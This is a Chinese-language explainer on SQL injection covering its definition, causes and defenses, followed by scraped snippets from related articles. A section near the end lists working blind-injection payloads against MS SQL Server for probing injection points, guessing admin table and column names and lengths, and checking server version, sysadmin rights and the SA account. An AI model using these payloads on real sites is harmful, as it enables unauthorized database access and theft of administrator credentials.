所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。具体来说,它是利用现有应用程序,将(恶意的)SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。比如先前的很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询字符暴出的,这类表单特别容易受到SQL注入式攻击.
原理
SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据,致使非法数据侵入系统。
根据相关技术原理,SQL注入可以分为平台层注入和代码层注入。前者由不安全的数据库配置或数据库平台的漏洞所致;后者主要是由于程序员对输入未进行细致地过滤,从而执行了非法的数据查询。基于此,SQL注入的产生原因通常表现在以下几方面:①不当的类型处理;②不安全的数据库配置;③不合理的查询集处理;④不当的错误处理;⑤转义字符处理不合适;⑥多个提交处理不当。
攻击
当应用程序使用输入内容来构造动态sql语句以访问数据库时,会发生sql注入攻击。如果代码使用存储过程,而这些存储过程作为包含未筛选的用户输入的字符串来传递,也会发生sql注入。sql注入可能导致攻击者使用应用程序登陆在数据库中执行命令。相关的SQL注入可以通过测试工具pangolin进行。如果应用程序使用特权过高的帐户连接到数据库,这种问题会变得很严重。在某些表单中,用户输入的内容直接用来构造动态sql命令,或者作为存储过程的输入参数,这些表单特别容易受到sql注入的攻击。而许多网站程序在编写时,没有对用户输入的合法性进行判断或者程序中本身的变量处理不当,使应用程序存在安全隐患。这样,用户就可以提交一段数据库查询的代码,根据程序返回的结果,获得一些敏感的信息或者控制整个服务器,于是sql注入就发生了。
防护
归纳一下,主要有以下几点:
1.永远不要信任用户的输入。对用户的输入进行校验,可以通过正则表达式,或限制长度;对单引号和
双"-"进行转换等。
2.永远不要使用动态拼装sql,可以使用参数化的sql或者直接使用存储过程进行数据查询存取。
3.永远不要使用管理员权限的数据库连接,为每个应用使用单独的权限有限的数据库连接。
4.不要把机密信息直接存放,加密或者hash掉密码和敏感的信息。
5.应用的异常信息应该给出尽可能少的提示,最好使用自定义的错误信息对原始错误信息进行包装
6.sql注入的检测方法一般采取辅助软件或网站平台来检测,软件一般采用sql注入检测工具jsky,网站平台就有亿思网站安全平台检测工具。MDCSOFT SCAN等。采用MDCSOFT-IPS可以有效的防御SQL注入,XSS攻击等。
语句特征
1.判断有无注入点
; and 1=1 and 1=2
2.猜表一般的表的名称无非是admin adminuser user pass password 等..
and 0<>(select count(*) from *)
and 0<>(select count(*) from admin) ---判断是否存在admin这张表
3.猜帐号数目 如果遇到0< 返回正确页面, 1<返回错误页面,说明帐号数目就是1个
and 0<(select count(*) from admin)
and 1<(select count(*) from admin)
4.猜解字段名称 在len( ) 括号里面加上我们想到的字段名称.
and 1=(select count(*) from admin where len(*)>0)--
and 1=(select count(*) from admin where len(用户字段名称name)>0)
and 1=(select count(*) from admin where len(密码字段名称password)>0)
5.猜解各个字段的长度 猜解长度就是把>0变换 直到返回正确页面为止
and 1=(select count(*) from admin where len(*)>0)
and 1=(select count(*) from admin where len(name)>6) 错误
and 1=(select count(*) from admin where len(name)>5) 正确 长度是6
and 1=(select count(*) from admin where len(name)=6) 正确
and 1=(select count(*) from admin where len(password)>11) 正确
and 1=(select count(*) from admin where len(password)>12) 错误 长度是12
and 1=(select count(*) from admin where len(password)=12) 正确
6.看服务器打的补丁=出错了打了SP4补丁
and 1=(select @@VERSION)--
7.看数据库连接账号的权限,返回正常,证明是服务器角色sysadmin权限。
and 1=(SELECT IS_SRVROLEMEMBER(sysadmin))--
8判断连接数据库帐号。(采用SA账号连接 返回正常=证明了连接账号是SA)
and sa=(SELECT System_user)--
and user_name()=dbo--
and 0<>(select user_name()--
相关推荐
### SQL注入原理详解 SQL注入是一种常见的Web应用程序安全漏洞,其核心在于攻击者通过恶意构造的输入,将SQL代码插入到应用程序的SQL语句中,从而实现对后端数据库的非法访问或操作。这一攻击手段利用了应用程序在...
**计算机病毒与防护:SQL注入原理** SQL注入是一种常见的网络安全威胁,主要针对使用SQL(结构化查询语言)的Web应用程序。这种攻击手段是由于应用程序在处理用户输入时没有进行充分的验证和过滤,使得攻击者可以...
SQL注入(SQL Injection)是一种常见的网络攻击技术,它利用了Web应用中...另一方面,对于安全研究人员和渗透测试人员而言,深入理解SQL注入的工作原理,有助于在进行安全测试时,更准确地发现和修复潜在的安全风险。
防止SQL注入需要了解SQL注入原理和防止SQL注入的方法。 基本概念 PHP中的magic_quotes_gpc设置可以防止SQL注入。magic_quotes_gpc是一个在php.ini文件中的设置,默认是关闭的,即magic_quotes_gpc=off。将其设置为...
SQL注入基本概念,原理,防注入php代码以及 相关的图片实例,具体可下载查看。
SQL注入是一种严重的安全威胁,它...综上所述,理解SQL注入的原理并采取相应的防护措施是确保应用程序安全的关键。Spring Boot通过提供JdbcTemplate和Spring Data JPA等工具,为开发者提供了防止SQL注入的有效手段。
SQL 注入原理
### SQL注入原理详解 #### 一、SQL注入概念与危害 **SQL注入**是一种常见的网络安全攻击方式,通过将恶意的SQL代码嵌入到应用程序接收的输入数据中,从而欺骗服务器执行非预期的数据库操作。这种攻击能够导致敏感...
### SQL注入原理简介 SQL注入是一种常见的Web应用程序安全漏洞,攻击者通过在应用程序接收的数据中插入恶意SQL代码,以此来操纵或获取数据库中的敏感信息。本文档将基于提供的标题、描述、标签及部分内容,深入探讨...
了解SQL注入的原理是防止它的关键。以下将深入讲解SQL注入的基本概念及其防范方法。 首先,让我们理解SQL注入的原理。当一个Web应用在构建动态SQL查询时,它可能会直接使用用户提供的输入。如果这个输入没有经过...
二、SQL注入原理 1. 一阶SQL注入 一阶SQL注入是指攻击者通过一次HTTP请求即可向数据库中注入恶意SQL代码,以实现非法访问或对数据库进行非授权修改。攻击过程即刻执行,对系统的危害是即时和严重的。 2. 二阶SQL...
#### 二、SQL注入原理 SQL注入攻击的关键在于利用应用程序在处理用户输入数据时存在的安全漏洞。这些漏洞通常是由于程序员未能正确验证和清理用户输入导致的。下面将详细介绍SQL注入攻击的具体原理: ##### 1. ...
1. SQL注入原理: 当用户输入的数据未经验证或过滤直接拼接到SQL查询中时,攻击者可以通过输入特定的字符串来改变查询的逻辑。例如,通常的登录验证查询可能是这样的: ```sql SELECT * FROM users WHERE ...
1. **SQL注入原理**:攻击者通过输入恶意构造的SQL代码,使得原本的查询语句发生变化,从而实现未授权的数据访问。例如,如果一个登录页面的查询语句是"SELECT * FROM Users WHERE username = '" + Request(...